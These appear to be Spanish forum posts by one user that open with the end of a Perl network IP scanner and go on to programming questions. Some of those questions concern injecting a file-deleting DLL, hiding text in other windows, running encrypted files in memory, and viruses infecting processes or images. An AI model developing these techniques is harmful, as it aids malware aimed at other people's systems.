system ("nbtstat -A $ip");
print " \n";
print "Pulsa intro para volver al menu\n";
$res=<STDIN>;
goto menu;
}

#*************** Sub Sis *********************************

sub sis {
system ("cls");
system ("color 0C");
print " \n";
print " \n";
print " \n";
print " \n";
print " \n";
print " \n";
print " \n";
print " \n";
print "       *************************************************************\n";
print "       *                                                           *\n";
print "       *                                                           *\n";
print "       *       Escaner de IP's escrito en Perl por Hendrix         *\n";
print "       *                                                           *\n";
print "       *                                                           *\n";
print "       *************************************************************\n";
sleep 3;
}

que els parece???

Funciona bastatne bien, yo tengo router y me detecto unos kuantos agujeros....xD xD xD voy a cerrar puertos....

Agur!!

Editado:

Alguien me puede dar algun soft para pasar los scripts de Perl a .exe???

Los modulos (yo e usado el de Sockets) se tienen que incluir en el ejectuable o ya vienen con Win???

Si ya vienen me are yo el compilador....

Salu2

Bien, hoy mismo e empezado kon este lenguaje y sinceramente me aprece facil puesto que "entra bien".

Tengo una duda, komo ago interactuar los scripts en Perl con el registro de Windows??? se que se hace kon algun komando, pero no se kual....

Gracais adelantadas....

Salu2

Es la primera vez que uso este comando, asi que kerria saber si hay alguna manera de contar las lineas que tiene un richtextbox.

Thank's.

Salu2

Bien, estoy ahciendo una aplicacion en VB para la consola, lo de pasarle datos al prgorama y todo eso lo tengo kontrolado, el problema es redirigir la salida a la consola, komo ago eso en VB??? un ejemplo de lo que quiero hacer es exactamente el contrario a esto: http://www.elguille.info/VB/ejemplos/vb_stdout.htm

Alguien me puede ayudar???

Salu2

[Kill]

bueno, el este post: http://foro.elhacker.net/index.php/topic,123615.msg575170.html#msg575170  Krispin posteo el kodigo para inyectar una DLL en VB, yo, komo sabia que las DLL's "naturales" de VB no funkaban me fui a este hilo: http://www.elguille.info/vb/avanzado/crear_dll_windows_con_vb6_explicado.htm y codee una DLL "natural" para windows, todo perfecto, luego intento inyectarla kon el kodigo de Krispin, y ni me da error ni hace el kodigo que le dije....el kodigo de la DLL es este:

Código [Seleccionar] Expandir

Public Function matar() As String
    Kill "C:\1.txt"
End Function

El error que le veo es que Kill es un komando "nativo" de VB, y la DLL en teoria es de Windows, pero no estoy seguro, es una "teoria".....alguien me puede ayudar a enkontrar el error???

Salu2

Quiero hacer una cosa, haber si es posible....

Suongamos que konsegui sacar el texto de una ventana (por ejemplo un .txt o una conversacion del MSN), bien, a esa ventana keiro que no se muestre un texto kuando aparezca en la ventana, por ejemplo, quiero que si aparece Hendrix no se muestre el texto....y una conversacion del MSN (por ejemplo) esta esto:

Yo soy Hendrix

y quiero que en la ventana kede:

Yo soy

No quiero ni borrarlo ni nada (tiposendkeys ni nada de eso).

ZEALOT hacia algo parecido pero en el taskmngr (invisibilidad de proceso), pues yo quiero hacer algo aprecido pero kon un texto....

Haber kien me ayuda...

PD: ya se sakar el texto, solo ahce valta que me expliken komo eskonderlo/borrarlo.

Salu2

Pues eso, que pasa???es un fallo???

Salu2

Weno, tengo un modulo kon algunas funciones que sirven para escribir en el registro, pero son algo escasas...solo tienen REG_SZ y REG_DWORD...al intentar escribir un REG_BINARY me da error (normal, si no esta declarado).

Alguien me podria pasar algo kon lo que funcionase esto???

Gracias...

Salu2

Bien, es posible en VB leer los datos que kontiene una Ventana???

Por ejemplo, abrimos un .txt y en ese .txt hay la palabra Hendrix, es posible leer esa palabra sin tener que abrir el archivo de forma binaria???

Salu2

Weno, hacia ya tiempo que no preguntaba en este subforo....ya es hora de preguntar algo...

Bien, supongo que todos konoceran al themida por ejemplo, no??? pos me gustaria saber si es posible en VB desenkriptar una rchivo en memoria (es decir, sin desenkriptar el archivo y luego ejekutarlo...)

O por ejemplo lo que hace en UPX, que "reestablece" los datos en memoria....

Alguien podria ayudarme en esto????

Salu2 y gracias...

Weno...tengo un problemilla.....el photoshop lo tengo mal ajustado....ahora se lo expliko...

Cuando voy a Filtro>Textura>Granulado....me aparece la ventanita de configuración a pantalla completa!!!!! y encima partida por la mitad....la imagen resultante me sale a la eskina izkierda y lo de la configuracion a la derecha...pero la imagen sale tan grande que solo se ve la mitad de los kontroles (no veo los "textbox" para poner los numeros). solo veo media barrita y no lo puedo configurar bien...Supongo que esto se podra konfigurar en algun lado....pero no lo se....me esta sakando de kicio ya esto...xD xD xD

Y lo mas bueno es que por ejemplo en Filto>distorsionar>olas me sale correctamente....no entiendo lo que pasa....

Espero que me ayuden...

Salu2

Hasta hoy crei que esto era imposible...que el VB pudiese compilar un .exe si no lo tenia en su kodigo...pero hoy vi un prgorama que pesaba 27.5 Kb....y luego creaba un .exe distinto pero de tamaño aprecido....i no kontiene ningun archivo de respaldo (por ejemplo un .exe renombrado a .dll) ni nada de eso....

Eso es posible???

Salu2

Weno, una par de dudas que se me vienen a la cabeza....

Hace tiempo lei que hay virus que lo que hacen para inyectarse en otros procesos es okupar sus espacion vacios kon su kodigo.....para hacer eso hay que usar alguna API ene special??? alomejor se tendria que buskar lso espacios vacios y leugo kalkular el tamaño de este espacio e ir copiandose en el espacio...trozo a trozo....Pero ahora tengo otra duda...komo se va a ejekutar si pro ejemplo el PE del virus esta por enmedio del cuerpo del archivo origen???

Mi ultima duda...si eso fuera posible...se podria por ejemplo inyectar kode en .jpg??? puesto que no veo ninguna diferencia infectar a un .exe....y que este mismo "te ejekute" a ti mismo....que un .jpg....puesto que el PE del worm no influye en la ejekucin del archcivo origen...o si????

Weno, respondenme si no se an perdido por la explikacion de mi pregunta...xD xD xD

Salu2

Hendrix

Weno, supongamos que quiero cambiar el nombre de una ventana actica del Mozilla en VB.....existe alfuna API para ahcere esto???

Salu2

Hendrix